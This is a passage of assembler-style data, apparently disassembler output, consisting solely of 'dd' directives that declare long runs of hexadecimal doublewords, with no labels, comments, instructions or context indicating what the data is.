dd 0EAE63FC6h, 0B301FDA6h, 0A564A802h, 3421B7EFh, 70698060h dd 42890020h, 9B286768h, 6C00D806h, 0D396322Fh, 26DE5AA3h dd 855FD9h, 0E9412E10h, 0BE00F291h, 4999B57Ah, 52A5D4h dd 929DCDBFh, 25A6D660h, 0E8110F00h, 49B8108Bh, 18670370h dd 0B9EAF50Ch, 0FFE39FC0h, 0BB864301h, 57F77901h, 0DA00307Dh dd 3415921Ch, 0FE00A852h, 2681DDE4h, 6D6FC2h, 16246443h dd 62E14B89h, 6E012071h, 33E30E84h, 51FCA36Dh, 0B4A009Dh dd 0F7ED90E8h, 5B054C49h, 0B4D4D19Eh, 7A8CB0h, 0F645E42Fh dd 0C02E02B9h, 9B0DC5Ch, 27D71B75h, 97AA6EB8h, 70A0FD13h dd 670C3FC8h, 2200F9DCh, 0EEDB573h, 1890396Bh, 266C5E00h dd 88CCE23Ch, 0EB8502DFh, 53D33695h, 22BCBC60h, 0DCF4AC1Dh dd 171C8F4Fh, 662CC2h, 0A1E9B5B4h, 953C8500h, 5BFFCDADh dd 4393847h, 0FCB74CFBh, 2950C04Fh, 12371963h, 5A70A8FCh dd 7EB725E2h, 50650067h, 7A552BFDh, 8A3F21E5h, 0AD8E8937h dd 0FCDD4DFh, 0A4A00AB4h, 0A621BD5Fh, 0D7E49100h, 71974228h dd 0B11200ABh, 468E0FB8h, 510E7A2Ch, 607CF459h, 0E7985CC6h dd 175DB0FFh, 0C7729D14h, 7DFF358h, 195371A7h, 27878E7h dd 0F633CAA0h, 17236058h, 27B40024h, 29EB2F8Ch, 14FC7BE8h dd 1621302h, 81381DBCh, 0D25AABA4h, 0F0AC80D3h, 0FDD10116h dd 0E3A8347h, 9718807h, 4F058E0h, 58F7DE12h, 3F9BB090h dd 54D2099Ch, 8EC7180h, 0DE68E703h, 0C872FA18h, 59C77426h dd 0BA00C0F8h, 0A7781AD4h, 1B06E720h, 0D64A8A2Ah, 81B10069h dd 0C5CAF2A4h, 0DE374889h, 0DD6718B7h, 0A4225B0h, 68961Ah dd 3393C1D4h, 324BE191h, 0D65C6080h, 909028h, 35C4146Fh dd 0EC389C61h, 6602CC90h, 924586F1h, 9A00C0D6h, 6B942EDCh dd 0FE4B03DAh, 0EAB86430h, 440902F1h, 50756850h, 0D5DD2528h dd 140A04C0h, 4027A891h, 1D3BEFECh, 0C0F3919Eh, 1C78429Dh dd 0B490902Fh, 0CCAA8005h, 0C8007D79h, 0E3932C4h, 9EB50037h dd 711DBA31h, 210B1E95h, 0E153EEh, 8970AC7Ch, 72AA2CC7h dd 25690E6Eh, 9BED8CE0h, 4F2F4BA8h, 59D0B1h, 81A35410h dd 0ADD40878h, 8BB9E000h, 6597A838h, 887363h, 0BB798059h dd 0E449C0FDh, 0E5DA090Bh, 0CC5837h, 9246764Ah, 1802D350h dd 0C420C817h, 0C92E5600h, 496E47h, 0CF962955h, 0AFFFFB10h dd 88173C00h, 2F312E8Ah, 8EE704A7h, 0C00FC3E5h, 4F0BB1D4h dd 8AAED609h, 5CD0842Bh, 0E33B10C0h, 2DA6F674h, 2C404FA3h dd 18B504DAh, 1AD16C0h, 0DE857F92h, 60EC8EDCh, 0C4B6A29Ch dd 936E20C7h, 17951CC1h, 0DD0C042Ah, 1480BD54h, 9F924E4h dd 36832588h, 0E89126BCh, 6C83B848h, 4F4339A3h, 5480695Ah dd 5E44C91Dh, 834400C4h, 1EC86102h, 0F8F27076h, 0A94D5909h dd 968C18F6h, 31A1606Ch, 52D02B18h, 7EA09001h, 0DCF6A512h dd 70A45440h, 7E7C92C4h, 965F219h, 0B1D2D5ADh, 0DFF33410h dd 461F17F0h, 343E09Eh, 0F0119176h, 4EC18C2h, 51D8156Ah dd 27F080F4h, 949FFC24h, 6F4618F0h, 3319D91Ah, 90075828h dd 0F0B68B00h, 0D05CA2FFh, 810C9915h, 0B245F8D2h, 56843444h dd 84580AB7h, 0E193F60Ch, 0C8145A76h, 0A100E3B0h, 1358D1EEh dd 28BE4E2h, 362E57CFh, 38D09EFCh, 3279A200h, 29D9A6FDh dd 9B680004h, 0E951568Eh, 0F53A5A31h, 0B096129Ah, 799ED001h dd 0B6DC5B49h, 9D509A64h, 0D595F4A0h, 6D75F818h, 8B82C00h dd 575C5672h, 0A50944Ch, 8090589Ah, 0D25BEF4h, 0C6243077h dd 0D912A4D2h, 5849D806h, 38809DB4h, 9CE01E79h, 0C1E00FB7h dd 4251001h, 5E5F3181h, 6E4E88A6h, 1F0EE804h, 2A4F3240h dd 31009058h, 0E2F7DB1Dh, 382168h, 814659CDh, 0AD9B3B2Fh dd 6AB9AA00h, 26FC80F8h, 4F570041h, 0C52D957Ah, 0F0036D9h dd 8B0846A8h, 6AEACBh, 4A73EE72h, 4558EB83h, 78DA6306h dd 106A1DDh, 8734C515h, 0E80AD170h, 0A500FFA3h, 3A9A82E1h dd 75C191Ah, 3B757B51h, 0A0F280E2h, 0CC1D343Eh, 0C780229Eh dd 5046EB18h, 473C0092h, 742B8E65h, 0B90763FDh, 7393FB3Bh dd 6C8B3081h, 2CC60F70h, 1C282E4h, 685C0E1Fh, 0CC0BD803h dd 0E5DEC101h, 0F8F5EFC7h, 9EC4EAE1h, 0C2F200C4h, 63D58008h dd 12F051AFh, 0EC48C600h, 0A6F65E0Ah, 809454E8h, 1D3D0095h dd 2E0B903h, 0F5F05B6Dh, 87C27F03h, 0C0A7B2EAh, 0C0E124h dd 5789AD79h, 0B3786945h, 93C9513Fh, 7D017150h, 0A94F592Bh dd 3E4D9D4h, 0EEF2D726h, 3BB806C7h, 9200AC9Ch, 38C7FC8h dd 6AD90Ch, 75042A11h, 44414F0Eh, 0C27C2E77h, 547A5C78h dd 0EB604900h, 825A3991h, 649400F8h, 0B63FD4F9h, 84A05F89h dd 0D200A2B5h, 0FA827423h, 3DE1DCh, 94A3ECCh, 194F206Dh dd 770097F0h, 86BD8B25h, 2DBFDB0h, 0F323BF37h, 6E0FC1Ah dd 38C13E71h, 49AF9466h, 1EA5C1C4h, 4E044BDDh, 20B8860Ch dd 0AD12C5C7h, 14011428h, 1DC4DEDh, 1E1AC770h, 8E1EC9E8h dd 821DB389h, 0E918EC53h, 0A90F43C0h, 0ABAA120Ch, 0E881483Ah dd 50C7D2Dh, 392F181Fh, 0E87E80BDh, 1600673Dh, 5903C0B5h dd 0E5925Bh, 57C54E0Bh, 87E7474Dh, 0E4487F07h, 3E127090h dd 66104078h, 0FE1910ECh, 9BEF005Bh, 35E3F1BDh, 0C5DF0076h dd 0BADA8309h, 9AA074AEh, 73F6B018h, 1BF3Ch, 0DC2F96E2h dd 9F266EDAh, 1C00ACD0h, 2C65E935h, 48A9130Dh, 0EB0010D7h dd 6359E5FBh, 88001918h, 148DBCC9h, 0D2B607h, 53ED0B24h dd 3A786E83h, 0D90FE000h, 69A18A4Fh, 6C353E0Dh, 7E60C000h dd 532788FCh, 3E616400h, 405B9FD0h, 0F1BA002Ah, 7819F905h dd 0FB0013CDh, 2E7EBF3Fh, 64BCF5h, 24B17AA3h, 710EC643h dd 93128A60h, 0B45377h, 5C69D20Ah, 64EC9513h, 6608C300h dd 6BD4D302h, 0DD550004h, 2A9A1F62h, 76030B2Fh, 0E2EF1206h dd 0C6139019h, 987C6Bh, 0EDAC77FAh, 0E69275FBh, 0E028C51Eh dd 2805586Fh, 0AFC665h dd 5105D34h, 0CBE88B63h, 25BA6E2Ch, 2F8C7D00h, 1CD24DA0h dd 702EC5h, 375CE98h, 0D507A165h, 0D138FDB4h, 0DF6EACA0h dd 53F016Ch, 0FCC2A037h, 0FFE5206Ah, 0A9BE8600h, 7080C6B2h dd 0BFFA009Ah, 2E735D2Bh, 3A9817CCh, 0C400627Eh, 3ED57E14h dd 747F0B4h, 0FD168ADAh, 0ED00EB85h, 7D32A3E7h, 8E2CCD00h dd 8348FC88h, 28D4FD12h, 0D636003Dh, 5BCFE66Eh, 0C607EB99h dd 0C7983473h, 1D478F81h, 6A95C0h, 0EC945675h, 7A3510BEh dd 7E2D700Fh, 8C2480D2h, 81E609h, 0ABDC481Dh, 518359A0h dd 0E3FF4A0Ch, 4FE07Eh, 0CBA7650Eh, 37D34629h, 61A4C200h dd 909BE98Bh, 0EE8400F4h, 0C6A55532h, 5000B76Dh, 0D59E453Eh dd 0DF64C188h, 9A960A80h, 0D2D787F0h, 0C21A03F3h, 0F2A70FA3h dd 1080BF52h, 0FFC165D3h, 0C9A1922Eh, 0B11D821Dh, 743F803h dd 0E5D10679h, 60EFC2C1h, 58914F0Bh, 83338E33h, 7869197Fh dd 0C17C18h, 71C81D0Fh, 0D064E98h, 287B2B30h, 0C182D0h dd 44C2C31Bh, 8440BB50h, 0A0CF7C33h, 0DD217507h, 0B3FD4280h dd 90191043h, 6D80090Ch, 0CD081FCBh, 0E9C40095h, 35AB1C16h dd 667F6500h, 614B5590h, 0DA5D0008h, 0D2CE6E5Ch, 0B9B826B9h dd 0CF765900h, 0A17F3FC1h, 0DC2C01F6h, 0BA2D1695h, 19F1F0C8h dd 98FE4779h, 0F01D900Fh, 754606AEh, 50347D21h, 7056A0C0h dd 19BF0C97h, 3C30F0AFh, 0CEA7A400h, 96752CDh, 18E460CAh dd 8EF1467Ah, 0A60F40DFh, 9D0D027Bh, 1E8C81FAh, 2882ECDAh dd 9BF8DF95h, 77A0D0AFh, 0CE57754Ah, 887E242Ah, 6409A367h dd 88ED0C9Fh, 1163079h, 97200E51h, 0BE617671h, 0CA3609D1h dd 0D5CCCC42h, 410EC843h, 2AE1420h, 48CA419Ch, 6266C20h dd 9140C0BCh, 0BF6088CFh, 31F95998h, 7ED819FAh, 80026026h dd 0B6CC0C71h, 73EEC44h, 5D966FA2h, 1510F33Ch, 0C9867CC0h dd 0A100DC5Eh, 5DE3423Ah, 0EE3500FEh, 57641136h, 0EF3B0EA5h dd 97DC80B7h, 29C80496h, 0E4F2FC07h, 0EEBC2442h, 0CF710085h dd 0F86656D4h, 80899C3Dh, 0C011FC3h, 0E948C9h, 0AFC6E2BEh dd 42D71380h, 58CB8F03h, 0DB85F1h, 0EE4F1DB8h, 44CE544Ah dd 0FA3E55F8h, 429D0BC6h, 837F8FE6h, 0F639FE06h, 118E2918h dd 79BA0AC4h, 0A5A90810h, 7C1DC421h, 539C8206h, 2A760011h dd 321A0313h, 0D53378F0h, 3E6C0802h, 131F1421h, 0BC21015Eh dd 6E7FB4CAh, 127B5AE0h, 429F658Eh, 0F12A0914h, 0EC1B0C40h dd 24F7FFECh, 0B500F484h, 0B14D2CDBh, 66169B58h, 21F80890h dd 0DB820200h, 0D673D24Fh, 625F181Dh, 0A9EAC07Dh, 0FCC8520h dd 40FA7FCFh, 69108895h, 0B11D3CF0h, 64A5195Eh, 43AA2888h dd 0FBA44A00h, 454D92h, 8D144BE5h, 0B9409C3Eh, 0F973600h dd 0D96684DDh, 1E64EC8Ch, 0C5198FD2h, 985AA8h, 0D70283F0h dd 2600A32Eh, 7D92B18Bh, 3F13FBh, 61B7ABD3h, 0A0CDCB6Eh dd 0CEBC321Eh, 9EFEFAC0h, 2EDB43C5h, 0FE14556h, 0B800D986h dd 0D2C353B4h, 1943600h, 0CE2D220Dh, 75A71B9h, 0CD6D87F9h dd 52B1805Fh, 0F21E0D0Eh, 9E0CC19Bh, 5CC92050h, 1060E8D1h dd 234A3C7Ch, 0CD9940C1h, 389EB10Bh, 9B731E27h, 45F029FDh dd 7C0315DDh, 345CA275h, 0D308304Dh, 0DD7DB821h, 9D771806h dd 0F8685997h, 17230351h, 5FA6348Ch, 3EE386CBh, 707754B3h dd 4DDCE0EDh, 0BA0052F4h, 0AF38DF80h, 0C3BEACh, 65768D73h dd 9BBC0E0Bh, 8CEC9601h, 94031A53h, 769D4DCh, 0C12D1552h dd 0FE70C062h, 0C0BDC79h, 815444D1h, 0F1D72197h, 2B57E0h dd 33E35CFBh, 1F4EA691h, 0FD85150Fh, 7E3A8078h, 0E07D4BE6h dd 0EBA80380h, 0C8BF8167h, 1F5E6EE8h, 0F0C55300h, 8C6D0BC1h dd 779500E8h, 6142FD33h, 99005D66h, 0B714C01Dh, 0DEC64Fh dd 637E5E12h, 0F3C9BF22h, 0CF447D00h, 8D394887h, 0D1CB1EB5h dd 8B00B9E3h, 25D2C9A2h, 0B300D4F7h, 0B97DBF6Ah, 1C34083Dh dd 40C1F48Dh, 3C454E44h, 71F6C772h, 0DBD0820Fh, 96CD2026h dd 9AC5FCh, 0D5123202h, 0E3237A94h, 0B1340912h, 95368A00h dd 63354A3Bh, 6C2F5862h, 0DD1CCBE9h, 68BE38h, 0B78C5786h dd 0F123Ch, 9233BE61h, 2BFD9A6h, 293BE830h, 40A07780h dd 9200B7A4h, 2DC32AA5h, 0C0379F05h, 0BF1B9961h, 8D00A733h dd 3E98DEC7h, 34D9E3h, 0C4C0866Ch, 9050AE7Fh, 94887EFh dd 604C84BCh, 0A52E003Dh, 4F8D63E2h, 8A007D07h, 770C4B7Bh dd 34BCFAh, 1D67B44Ah, 46D126Ah, 6CA89F01h, 8B7F1C74h dd 1919C50h, 2EC70052h, 0DEC853B8h, 5B010D90h, 20F59EA1h dd 8260ACA7h, 32F0002Ah, 371ED017h, 1D01A040h, 0C0CC4527h dd 308E6EC7h, 57A0D4BAh, 5AAA0B0Ch, 147D7203h, 8812DD4Bh dd 7AB22835h, 74B6006Ah, 2C20042Eh, 0F4064E37h, 0C960CA6Eh dd 23B70149h, 9DE48A93h, 88BED8h, 63377EADh, 6506C5Dh dd 0A8F056E3h, 0CA04823Dh, 0D957D369h, 6F354F80h, 0E5441847h dd 0E0BF50F6h, 0D4213Ch, 859EEFD0h, 0AE89755h, 0C44B2F60h dd 0FCF0070Ch, 119F20D4h, 0C030EE41h, 6FA791A2h, 44FB00E9h dd 8B3F0477h, 58007ED6h, 0CC69EFDCh, 3B456CF2h, 33813B62h dd 5FB1B30Ch, 0FBD6E4D1h, 0A6E69E2Eh, 0F190613Ah, 5980AE63h dd 0E0F52355h, 0D3066FBCh, 0DC6DE769h, 3F4F1E90h, 81EA406Ah dd 2A4E6BFFh, 4967630Eh, 0B3B56074h, 0C8A86Fh, 5B6D5307h dd 0B2A7462Ch, 0AD230200h, 55CBFC06h, 0CA620039h, 0D3F7FEBDh dd 0F8002A0Eh, 0E8D42528h, 415733h, 43C39DCh, 13F60DF1h dd 0FED29200h, 242884D3h, 29456454h, 0F32221D8h, 11D41A11h dd 641127C3h, 31181037h, 0B2968015h, 0C8D980h, 0CCF6B188h dd 0F7E8AF3Ah, 78DE3Ch, 81C48BABh, 8D704Dh, 0BB64B307h dd 0C5D91951h, 0D6D5500h, 0B6A148Bh, 9868F496h, 0A563926h dd 9AAD3281h, 6024CBF2h, 46005897h, 7B399B34h, 0A83C594Eh dd 992980h, 0BBEA252Fh, 56483E0Fh, 340B060Eh, 7FC947h dd 6438992Ah, 97432h, 0A6104228h, 67196545h, 0E675B117h dd 13CE00EFh, 41F0362h, 39003BECh, 77E2AB55h, 88DFFEh dd 48C399C0h, 0D8CC1F69h, 3866B82Ch, 682AB903h, 0B9AD858h dd 518C028Dh, 2995CC7Bh, 5946CC80h, 0A007485Dh, 16BDA294h dd 0A00D76h, 0C403B393h, 0CCF52CE9h, 0F30C6BECh, 80C0714Eh dd 675B0EDEh, 0A3E1A42Dh, 0F4B032FCh, 9E00C803h, 96C1310Fh dd 622442h, 0D609854h, 1597D4B1h, 0A53BF21Eh, 9B6C09C0h dd 24EE44DFh, 134C86h, 4D40E947h, 0DE388BE6h, 73A1000Bh dd 381A914Bh, 382BE49Fh, 3A80A29Bh, 37A4721Eh, 5B03AA0Ah dd 49C3015h, 51F9B05Ch, 5410C720h, 5D85B02Dh, 6000C0CBh dd 3EE172Ah, 0F80457h, 879EC7FAh, 7B3E71A6h, 2F36A403h dd 25A86B4h, 0B5407509h, 3A436725h, 2201F9F0h, 0CA3FF770h dd 0C0170096h, 0F0123FCBh, 0F63D1F74h, 0F398C0DFh, 0DB0503E7h dd 0B939AA00h, 5A9FBBA6h, 7821C19h, 0E0284064h, 0E1CA0946h dd 4C882707h, 7C609791h, 12BB6A3h, 0CE70C8EDh, 0F8056ED7h dd 0FEF89A3Bh, 1D0B4103h, 802DC0FBh, 39DD04E7h, 2F5360Ch dd 0AC76CC7Ah, 0F40A766h, 0BC39D528h, 3C6703B4h, 0C03E735Bh dd 1D511CC0h, 9112Dh, 34ACA14h, 1E0066CBh, 70421EAh, 0EDF60E6h dd 0C11B3E9Eh, 20848307h, 70E3ACA3h, 81009C77h, 0F5D9DC82h dd 878E5Dh, 738D502Eh, 0B3D7C5F9h, 35797BE8h, 0F0985817h dd 0F59D9600h dd 26D992h, 1C9F1A07h, 4D59E91Bh, 0CF141700h, 0CC6356EAh dd 36430254h, 412F0C45h, 95AED480h, 2B00F36Eh, 31058886h dd 0F00D8Fh, 0E8231D34h, 16A983Ch, 9C32BB00h, 0BF5ACCE6h dd 62D4010Ch, 696512E7h, 70FE70D5h, 6137C505h, 0D401EB84h dd 35FC3EFh, 6C000C0Ch, 0E6D08879h, 164D2059h, 8A350Bh dd 0FB686A32h, 3D123791h, 84009774h, 0B07ED131h, 0CFB51E06h dd 4593795Bh, 0D49C0075h, 332B25C1h, 0F3D58800h, 0A31EAD35h dd 0A9CC0083h, 0EBB0CC3h, 0A5006BD3h, 0AC5A7642h, 0E6F5C9FFh dd 0F24D0092h, 67078A23h, 8303E930h, 90AEE60Dh, 0B233B065h dd 0EE230115h, 0F8CAC5A6h, 9651F8B9h, 0DD286C78h, 6260A8DAh dd 0BD5D3AA0h, 0BA9D02E3h, 4B83FE65h, 807AAC84h, 0F41F07D1h dd 259FC000h, 0E818ADF1h, 8B460E6h, 9B31CABDh, 2C1448h dd 0FA758EB0h, 3D9778h, 4B84C232h, 7B8BC547h, 6FBEED0Ah dd 7302ACE1h, 45047D7Ah, 0A9450880h, 0EF9CD000h, 1B3F2CDh dd 0F34A3206h, 0F0C5B719h, 0B26788Bh, 7200502Dh, 98CB8E59h dd 0C0073E71h, 8980A580h, 3C14F229h, 4C5B3900h, 54B3F379h dd 0CD82006Bh, 0F9AA1C32h, 0AD003494h, 3D6E2426h, 98A2D6h dd 9A538EA0h, 0F65620A7h, 3C348C07h, 4280C2CFh, 7FFAE7Eh dd 558609A2h, 5BB71068h, 9400C4C7h, 77F1F6F3h, 0AFDC0Ch dd 899C52FDh, 0D8FC602Eh, 6AE84000h, 57A313BCh, 1FE9007Ah dd 2917C8D5h, 510018B6h, 967D2E7Fh, 24B1F6A5h, 0E96C5EDh dd 56C07975h, 218E2C7Ch, 0FA004CE2h, 0ABBF370Fh, 9BAE8Ah dd 0C508996Eh, 8C1089E4h, 0E1B7D102h, 0C032DC69h, 48472434h dd 7C328Fh, 0B81FCD80h, 97B2D089h, 95D89200h, 2E151B02h dd 2D050727h, 400411E7h, 2B12D9FFh, 54B28AF2h, 0F6096700h dd 2CD85776h, 0D9E0068h, 0C93FE12Eh, 0FB006EA4h, 65C06266h dd 1DFE4530h, 4BF7C26h, 80DB13E3h, 0C0843899h, 2074BD01h dd 53C10168h, 0F02F8E31h, 1D1EFB81h, 0DA804E8Fh, 4AAC3C04h dd 3577972h, 85342D5Ch, 0C0D43767h, 888BA283h, 2281D300h dd 95154DFFh, 0D0D600DDh, 0A585D41Eh, 3F39E452h, 0D9588033h dd 0DB957BCDh, 413B00CEh, 0D6838F59h, 0B5B08748h, 85099C00h dd 1512C3DFh, 0E07A0031h, 8B7161EBh, 0C20303BAh, 2E14B16h dd 42E4887Dh, 0AF9E0009h, 38D05BB2h, 500E18C6h, 0CE873B47h dd 5D5600C2h, 9A45E3h, 4FA35AF5h, 0D12734EEh, 0DCE44007h dd 0E50E5F6h, 0C05950D0h, 89FC7C20h, 0DEEC5CB9h, 0D3A667Eh dd 58040022h, 56469377h, 25F82A7Bh, 7F4E0ECh, 0EB2A82F2h dd 0EC1EA134h, 0CC25D4FDh, 8EEF09C0h, 71CFAC33h, 0BB7676h dd 3DF540F8h, 3FF32E80h, 0EFDB7E03h, 0C1536444h, 0EC40D504h dd 852360B2h, 5A039B00h, 2118885h, 512846F6h, 0D8408E09h dd 0B4003179h, 84878908h, 2F5DBCAh, 55153CD0h, 3863BC03h dd 89509990h, 77518202h, 0C02FCCFAh, 2AC9C34h, 6D251FC3h dd 1060E040h, 0DE00A7A3h, 0BC387DE3h, 5D94D9h, 1508FADCh dd 409DF0FFh, 902F7900h, 8221AA4Fh, 46CD02E8h, 65EF605Bh dd 68AF7CC0h, 6FCBA700h, 0A542E229h, 7970F66h, 71004753h dd 98AD26A4h, 0F6B8A802h, 6277822Ah, 37BF009Ch, 3D91F2Fh dd 10BC8EFCh, 0BBA84E97h, 950032A6h, 8D288F2Ah, 79853651h dd 7888005Ah, 9E6CFC7Ah, 0D7ECE346h, 9228F600h, 2722F8B5h dd 20AA00B7h, 0E88DBA19h, 0FD120E25h, 0EF31F5h, 1022B6E6h dd 480081ECh, 0DC85F489h, 1E84021Eh, 970524DAh, 7B2C00D5h dd 0AD3160D9h, 8F3DCA78h, 34201C7Dh, 91054A5h, 20400A94h dd 0BF056E91h, 0BB92E8E1h, 0D050C000h, 1F72A87Bh, 66FCBDh dd 57F3B184h, 0CA00E44Dh, 155E83BFh, 675138h, 3979DB3Ah dd 5D4EC84Ch, 2AF0B00h, 0AE6CC11Eh, 708C0E44h, 8A804885h dd 0B2EE617Fh, 0B9E16200h, 0C34F6F3Ah, 597E00DDh, 0C75FD264h dd 2500036Ch, 7F911A22h, 1C2973Ch, 4E775C49h, 0EC56FDC0h dd 0DDF20CE2h, 3D82CD12h, 7C974044h, 3E28F491h, 173C9C28h dd 50022200h, 8E7DA154h, 63E2A801h, 0CA51A339h, 3DD820h dd 0F9E1C944h, 47B545D0h, 1A1D0C00h, 0AD39F673h, 5BB100EDh dd 96B9325Ah, 5501C131h, 0E2815D7h, 8BE03CB8h, 4460181h dd 0C6E11311h, 800FFFC5h, 6E4A310h, 217FC8h, 0BECEE133h dd 0B8CC310Ch, 0CFE0E700h, 6B45EFCBh, 0E12B0E11h, 0C198E657h dd 1301CC7Ch, 2C16B14Ch, 0B86423C7h, 4ABC3E28h, 8F980C80h dd 22C5F5F7h, 0A40F08A0h, 1D04191Eh, 0D4AA5405h, 8EB52800h dd 14996237h, 0CD1ACA6h, 2C05AD0Eh, 70FAA0F8h, 18ADA00h dd 1F100DF8h, 7B902415h, 57330046h, 9C28ED27h, 0DDFB410Bh dd 0E31402B8h, 8831401Bh, 0B95000F3h, 3E7948AAh, 23754360h dd 0E5BF6601h, 87D9D6BBh, 0F204EC4h, 78463DBCh, 0E3B44D00h dd 2100A7DCh, 0F65FAD79h, 12B1735h, 0CC868131h, 0F48296C3h dd 22002047h, 0C2363E43h, 0CEE7B3h, 7A3F605Eh, 0FAF67540h dd 5BE5A807h, 27409FDAh, 126CC0ECh, 184B82E0h, 4206F0B4h dd 80C7D938h, 0F2A674BEh, 5CF8ABh, 6A56918Dh, 3BA32354h dd 0A5848112h, 0B0BD70C0h, 934E00C9h, 3B276D2h, 467C5DDCh dd 59EFDA30h, 710AF7h, 20822305h, 94BBE2AAh, 0B5A3E000h dd 0F00DBF1Eh, 0C96C00C5h, 77EA323Fh, 6100F262h, 111E189Dh dd 0A0FC800Bh, 1ADB1D3h, 0D7ACF61Bh, 30DDBEC9h, 57FAF05Ch dd 0A4009471h, 3A56AA2Ah, 0FD2F331h, 0A62EC401h, 938232EFh dd 144069AFh, 2130CFF9h, 77C9A095h, 0B0F2B7h, 3B0B75F1h dd 141E7B53h, 363DAB07h, 808F4E2Ch, 20CC7D3h, 0BEEE0031h dd 0D4506255h, 1F00E09Bh, 7771307Dh, 31A00E69h, 922944D6h dd 8960056h, 8C21005Ah, 8E23571Eh, 20008819h, 0C8A87ABFh dd 19630C96h, 0DA653BB5h, 0B0EB6006h, 2CBB1E00h, 36BD9ED6h dd 0AE9300FEh, 7A769D26h, 4A006D23h, 0CA54F1C3h, 98B16h dd 67EC9EFCh, 0FF3A8464h, 6122960Fh, 94C060E5h, 3FCED46h dd 0F9D2CE4Ah, 6FD32836h, 0EC88B9DBh, 6BB85896h, 0F1705E00h dd 4B53A8E7h, 0AA7791h, 3A0AC10Bh, 4FCB232Eh, 41E48601h dd 0EFECD3ABh, 1F30F040h, 0B7A1C6Bh, 0E834CFA9h, 0C3C4C625h dd 3A9803B8h, 0E001F5ABh, 0F7D4E464h, 0FB406B72h, 674362h dd 77488B5Dh, 41A5E98Eh, 25055C1Ch, 537F81C3h, 0CC5AC885h dd 0E90F0044h, 0B1B3A514h, 7600D3F7h, 9B4E0E37h, 1D971BCDh dd 0C0264973h, 69F27068h, 10EDEBAh, 608F2F6Bh, 0FFCF287Dh dd 0A0BC003Ch, 0BA20B127h, 0D5002C5Ch, 845A63FBh, 3A3A356Ch dd 6D8F9FE4h, 68B805A6h, 0A40108A9h, 1830E270h, 71F4433Dh dd 0E7EA24E8h, 0C0CC1D7Dh, 0B4FBD067h, 50015CA2h, 2AA9C46Ah dd 0AF9C5B3h, 3912C20h, 0C02555D4h, 0C1E07321h, 0B40C841Ch dd 8AA3EB2h, 439807h, 85DB693Fh, 0C3D0E6EBh, 264F2200h dd 2039089Ah, 3A1F3E01h, 0F6237C0Eh, 413F2h, 0AABB3ED8h dd 64002044h, 5F6E020Dh, 0F9CC17Eh, 54C4EBEDh, 0C7840743h dd 3D4E79E0h, 551B8200h, 0E6976C71h, 0F0E100BDh, 0BB1729D1h dd 0C0F830A9h, 0AC9FF306h, 0F5CE38Dh, 79C1E20Ah, 4B675C00h dd 0B973A7CAh, 0B02CF200h, 42294771h, 54090135h, 0AED10F3Fh dd 0ED54206Bh, 0F6A5B327h, 0B11CEAh, 0FD44323h, 5503F960h dd 75078E0h, 7B51F88Ch, 1A420056h, 0E8AE5393h, 0BD003995h dd 6144074Dh, 39C08D6Dh dd 0C283BC8Ch, 688B966Bh, 0B4D0A9FBh, 0C626A6CFh, 7700495Dh dd 85A71261h, 0F106605Ch, 0C8F4C0B5h, 7176A2F2h, 0DD3AFF00h dd 0A5FB0641h, 0C12D1DE9h, 0B72080D3h, 9740F525h, 0FA03AF00h dd 21B30EF2h, 0C8900C3h, 0B4E205DCh, 58C066CDh, 0DE62F55Eh dd 7B3900F7h, 4893A64Fh, 3801E9B7h, 0B8C5288Bh, 0EC30FFABh dd 6D20142h, 15887D68h, 31303067h, 9FC5D40Ah, 0A10098BCh dd 193F7616h, 0E0DE0098h, 0FE5D8702h, 4500BDE2h, 7ED3A09Ah dd 7F3A144h, 85766F46h, 4602093h, 4C004D1Fh, 84033AEBh dd 26A4165Eh, 12805D3h, 0BE9A2FC9h, 314227Eh, 6E4B6D70h dd 12688849h, 316A07C6h, 0E3E28351h, 0BBE8F11Bh, 5604D3D7h dd 979FFFAFh, 3F3BF480h, 0B4B90023h, 6C343E07h, 37014712h dd 0AA0F16DFh, 6AE06741h, 1B4500A0h, 494209ADh, 0AE3A18E1h dd 9F32822Eh, 603CC4F1h, 1D6F3B8h, 503FEF21h, 0C4E20D6Ch dd 693BABA3h, 0C8D4A824h, 50BE42Eh, 89595F00h, 728E9B4Bh dd 0DE7B301Ah, 0ADDB8120h, 4D005575h, 0FDB66B0Fh, 231260h dd 1C06990Dh, 0CEA844A4h, 0E617F607h, 6E5594h, 27AE7F7Ch dd 98C1C0Fh, 0E92C8088h, 993E54B3h, 0F84B961Eh, 0E013ADCFh dd 8EE30C0Fh, 0BF1400F4h, 525DEC20h, 0CA7F684Bh, 2AD47F00h dd 3A4715E6h, 0F4E52E2Fh, 3C0A00C4h, 4C1E9A0Fh, 0AC10B600h dd 725599D8h, 522716D4h, 59D8007Bh, 0C33AC89Bh, 41D31C00h dd 95C210A8h, 3E0B00C1h, 0F53FEC0Ch, 130052CDh, 143DC586h dd 7E19CCF2h, 6B560016h, 3F11DB29h, 872433ADh, 7D004C3Ah dd 2FCC39F2h, 0E07A008Dh, 0E1CDD766h, 7305F658h, 6C4B5CC9h dd 0A3C8FAC0h, 0B0703A8Eh, 66417583h, 57AB8536h, 387421B8h dd 7C8D3700h, 350D05B9h, 36E089h, 614F7FE7h, 0BA12D781h dd 0E8F8E200h, 3C9DD43Ah, 319E0054h, 67395115h, 0A23863FDh dd 807EBD6Eh, 0FB08B014h, 31B5A22h, 1F89609Ah, 10002534h dd 6A2497F3h, 16CD687Dh, 0AB57C9h, 87F8C65Ch, 20FD94CBh dd 7749DA44h, 3E621F3Ch, 46D7EC40h, 5436B3Ch, 1F33F413h dd 3053837Fh, 1E9289D8h, 0AC63F212h, 36BAE80Fh, 2D36C400h dd 0F30D0253h, 15446C8h, 0FF4315F6h, 0C8408D85h, 0DB3EBDA1h dd 1C0D07C5h, 0C0602490h, 0ECBCED7h, 9196E0B5h, 0C10886C0h dd 0C9F4B9A5h, 95C45A00h, 7CA1A4A9h, 0D9DA3C1Ch, 902E8900h dd 6FE558EBh, 9C8359h, 0B636403Bh, 71F513D9h, 24667BC1h dd 9F8C3A8h, 0B002301h, 3732C0E6h, 96D7F500h, 0ED8B1A9Ch dd 0A33400F8h, 4A5B1873h, 3E00017Ch, 0A28858B0h, 27533Ah dd 0FBAF3D34h, 7B4DEEA6h, 55E670C3h, 120789Bh, 0D2AF3C90h dd 8050CB19h, 30BCC410h, 0EE229ADh, 0E184AEC6h, 49E02E80h dd 12006D5Ch, 0E62D0271h, 3E16753Fh, 9780BA80h, 6F44E14h dd 7D0CECEFh, 70520F07h, 0E7465Ah, 0C7F3ADF4h, 73136Dh dd 0F6AE89C0h, 2088139h, 2830C534h, 384B811Ch, 0FEA0000Eh dd 6085EF16h, 0DA48C8F0h, 0B998B773h, 